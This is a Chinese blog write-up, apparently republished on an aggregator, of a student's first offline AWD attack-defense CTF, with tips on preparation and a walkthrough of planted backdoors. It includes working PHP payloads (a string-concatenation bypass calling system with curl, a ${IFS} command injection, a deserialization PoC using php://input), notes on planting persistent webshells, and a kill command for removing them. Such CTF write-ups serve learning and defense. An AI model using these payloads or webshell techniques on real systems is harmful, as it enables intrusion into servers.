记第一次线下AWD感受及复现
前言:
之前忙于期末復(fù)習(xí),沒有及時(shí)總結(jié)當(dāng)時(shí)參賽的感受及復(fù)現(xiàn),這次就來總結(jié)一下。
第一次參賽線下AWD感受
由于是第一次參加AWD比賽,各方面經(jīng)驗(yàn)都不足,在參賽的前幾天也是瘋狂搜集各種腳本、框架、工具等,同時(shí)也參考大師傅的博客進(jìn)行學(xué)習(xí),下面就敘述一下我學(xué)習(xí)的過程:
一、進(jìn)行備份
看了很多大師傅的博客,有的師傅博客中寫到有些AWD比賽可能給的SSH賬戶密碼相同,所以可以下載一些Github上修改SSH密碼的批量腳本,可以讓對手在一開始就丟分,但是經(jīng)過這次比賽,發(fā)現(xiàn)其實(shí)現(xiàn)在的比賽已經(jīng)不會(huì)再出現(xiàn)這種人為的漏洞了,主辦方也會(huì)避免這種漏洞出現(xiàn),否則整場比賽也沒什么意意義了,因此我覺得批量修改SSH密碼的腳本在線下賽是沒有用處的,不過最好也備份一份,萬一主辦方懶那(那就有點(diǎn)爽了)。。。
那一開始比賽的時(shí)候要做什么,比賽一般都是三個(gè)人一隊(duì),要想在短時(shí)間內(nèi)獲得flag且防護(hù)好自己的靶機(jī),就需要隊(duì)伍內(nèi)部提前明確好分工,這樣效率會(huì)很高。
除此之外還需要finalshell這個(gè)工具,這個(gè)工具是用來連接你的靶機(jī)的,非常方便,只需輸入靶機(jī)IP、SSH賬號密碼即可控制自己的靶機(jī)、為備份、掛waf等做準(zhǔn)備
比賽開始,第一步進(jìn)行備份,最好使用可視化工具FileZilla FTP Client進(jìn)行備份,也可以用linux本身的壓縮打包命令,備份的目的在于萬一對方利用漏洞進(jìn)入你的靶機(jī)將你的WWW下的目錄給刪除了,如果你沒有備份就相當(dāng)于宕機(jī)了,那就等著扣分吧,因此備份是非常重要的,使用主辦方給的SSH賬號密碼、主機(jī)IP進(jìn)行連接備份
二、查找預(yù)留后門或漏洞
備份的另一個(gè)好處就是可以審計(jì)源碼,因?yàn)榇蠹业腤WW目錄下的服務(wù)都是一樣的,因此如果我們能率先在源碼中找出漏洞的話便可以收一波分,這里就用到D盾,可以用這個(gè)工具查出是否有預(yù)留后門或其他利用點(diǎn)
這樣也有一個(gè)進(jìn)行攻擊的方向,除此之外還有一個(gè)便是Seay源代碼審計(jì)工具
這個(gè)也可以提供一個(gè)你攻擊的方向
三、備好或?qū)懩_本
腳本、腳本、腳本!!!非常重要,參加一次比賽發(fā)現(xiàn)真的腳本能力實(shí)在是太重要了,發(fā)現(xiàn)漏洞很重要,但是如果不會(huì)寫出相應(yīng)的批量腳本,你可以想象一下那么多只隊(duì)伍,三個(gè)人手動(dòng)提交,flag到后面每五分鐘刷新一次,效率又低又累的要死,因此無論如何都要提高腳本能力(雖然我的腳本很爛,但一定會(huì)慢慢提高的),AWD比賽到后面就是比的腳本能力,前提是你要先找出漏洞。如果你和我一樣目前腳本能力都很弱,也不用慌張,大師傅們的Github上有很多人家寫好的,只需我們看懂,會(huì)改就可以用,這里我就不列舉資源了,谷歌百度一搜索一堆。總之一句話,學(xué)好python,學(xué)會(huì)自己寫腳本,真的很重要!!!
還有就是備份一下常見的POC,因?yàn)榇蠖鄶?shù)AWD比賽都是各種CMS,這些CMS或多或少都存在漏洞,有時(shí)POC可以幫大忙,GitHub上都有,這里就不列出了
四、心態(tài)
參加一次比賽,基本流程就是上面的了,但我覺得有一點(diǎn)很重要,不要抱著我們必須拿多少名次的心態(tài),就放平心態(tài),不要慌張,如果被人打了,要去審查日志,看大師傅是怎么打你的,如果看出人家利用的攻擊方式,那你就可以利用這個(gè)點(diǎn)拿分,如果心態(tài)崩了,整場游戲?qū)⒑翢o樂趣,切記調(diào)整好心態(tài),前幾次參賽就不要太在乎名次,有更好,沒有繼續(xù)努力,不過需要總結(jié)之前是失敗到哪里了,不能在一個(gè)坑中連續(xù)跌倒多次,這樣才能進(jìn)步。
二、復(fù)現(xiàn)
這次的比賽算是比較照顧新手了,沒有出現(xiàn)CMS官方的一些漏洞,因此POC也就沒用到,而是主辦方給選手留了很多預(yù)留后門,比賽時(shí)只成功利用了一個(gè)(我們比較菜)但還是刷了不少分,比賽結(jié)束了就將所有的預(yù)留漏洞都來復(fù)現(xiàn)一下,不能因比賽結(jié)束后就什么也不做。
首先先連接上自己的靶機(jī)
利用工具連接到靶機(jī),并找到WWW目錄進(jìn)行備份相應(yīng)的服務(wù)
備份成功后進(jìn)行D盾掃描
發(fā)現(xiàn)有三個(gè)可疑點(diǎn),先來看第一個(gè)
第一個(gè)預(yù)留后門:預(yù)留后門
一句話木馬,直接上蟻劍
連接成功便可以使用curl命令獲取你想要的flag了,但是這么簡單的后門大家都知道,所以這就需要拼手速了,腳本的重要性便體現(xiàn)出來了
這是大師傅之前寫的,我們只是在修改了具體的一些參賽,但也因此獲得了很多flag,所以腳本是真的很重要!!!,其實(shí)自己觀察腳本的話,發(fā)現(xiàn)也不是很難,重要的便是在于思路,還是要多加練習(xí)。
第二個(gè)預(yù)留后門:冰蝎一句話
我們是真的菜,當(dāng)時(shí)比賽的時(shí)候竟然就沒發(fā)現(xiàn)這個(gè)冰蝎一句話,復(fù)現(xiàn)的時(shí)候發(fā)現(xiàn)這個(gè)冰蝎馬還是下載冰蝎時(shí)自帶的馬。。。
唉,當(dāng)時(shí)如果看出來就第一了,繼續(xù)加油吧,還是懂的太少!
第三個(gè)預(yù)留后門:常見繞過
這串代碼過濾很多高危函數(shù)字符如常用的system等
如果繞開遍歷便可以輸入惡意語句,那就需要考慮如果進(jìn)行繞過了,可以利用拼接的方式進(jìn)行繞過:
payload:
?cmd=$a='syste';$b='m';$c=$a.$b;$c('curl xxx');確實(shí)是可以利用的,越復(fù)現(xiàn)感覺自己越菜。。。
第四個(gè)預(yù)留后門:命令執(zhí)行+變量覆蓋
這個(gè)最可惜,當(dāng)時(shí)我們被打的時(shí)候,發(fā)現(xiàn)有人是通過一個(gè)ping_test.php文件來請求的,我們就查看了一下這個(gè)文件,果然是命令執(zhí)行,但是過濾了一些東西
通過觀察發(fā)現(xiàn)引入一個(gè)define.php文件,查看文件發(fā)現(xiàn)
很明顯的看出了過濾了空格,不行了不能復(fù)現(xiàn)了,我想打自己
繞過空格的方法有%09、${IFS}
payload:
des=| curl${IFS}xxx第五個(gè)預(yù)留后門:信息收集+反序列化+文件包含
在審計(jì)源碼的時(shí)候,發(fā)現(xiàn)在admin.php中發(fā)現(xiàn)有一句提示
既然如此就去查看MySQL的history,看一下改變了什么
這個(gè)目錄保存著對MYSQL的操作記錄,這里由于我是在自己本地搭建所以沒有信息,不過在比賽的時(shí)候應(yīng)該是會(huì)提示到\html\public\ueditor\php\controller.php,再觀察phpinfo,發(fā)現(xiàn)allow_url_include為On,所以可以使用php://input協(xié)議可直接getshell
查看文件發(fā)現(xiàn)
很明顯了直接進(jìn)行反序列化
官方給的POC
class Control{public $file = '<?=phpinfo();?>';private $flag; public function __destruct(){if(isset($this->file) && !preg_match('/<\?/is', $this->file)){ require($this->file); }} } $a = new Control(); $a->file = 'php://input'; echo serialize($a);在線運(yùn)行一下
請求:
POST傳入
<?php system('curl xxx'); ?>
但這里我沒有復(fù)現(xiàn)成功
小插曲:上傳不死馬
在一開始蟻劍連接上了就想著放入一個(gè)不死馬
發(fā)現(xiàn)一直是失敗,明明比賽給的權(quán)限是root,所以就沒有管,待后面公布WP才知道是在upload文件夾下有權(quán)限上傳。。。。
哎呀 不行寫完這篇總結(jié)打一句聯(lián)盟發(fā)泄一下,我怎么這么菜啊
下面就說一下如何用不死馬,以防自己忘記
這便是常見的不死馬,密碼自己設(shè)置并且進(jìn)行md5加密,我這里設(shè)置的是lemon
如果上傳不死馬成功后,就先來觸發(fā)
觸發(fā)成功,進(jìn)行查看
木馬出現(xiàn),進(jìn)行連接
利用成功!!!
如果自己靶機(jī)被別人種了不死馬,如果有權(quán)限可以使用service apache2 restart,直接刪除即可
如果沒有權(quán)限重啟就kill掉www-data用戶的所有子進(jìn)程
ps aux | grep www-data | awk '{print $2}' | xargs kill -9
確實(shí)刪除成功
三、創(chuàng)建一個(gè)和不死馬生成的馬一樣名字的目錄
太菜了,沒復(fù)現(xiàn)成功,具體看其他大師傅的吧!!
四、編寫一個(gè)使用ignore_user_abort(true)函數(shù)的腳本,一直競爭寫入刪除不死馬文件,其中usleep()的時(shí)間必須要小于不死馬的usleep()時(shí)間才會(huì)有效果
<?php while (1) {$pid = 不死馬的進(jìn)程PID;@unlink(".ski12.php");exec("kill -9 $pid");usleep(1000); } ?>總結(jié):
我比較喜歡第二種殺進(jìn)程的,因?yàn)楸容^簡單,估計(jì)之后會(huì)遇到其他的,之后再說吧,不過我是真的菜的一批,一定要好好練腳本能力,這些對大師傅沒有什么技術(shù)含量,不要噴我。。。
總結(jié)
以上是生活随笔為你收集整理的记第一次线下AWD感受及复现的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 原理+实战掌握SQL注入方法
- 下一篇: 个人博客继续更新,CSDN不再更新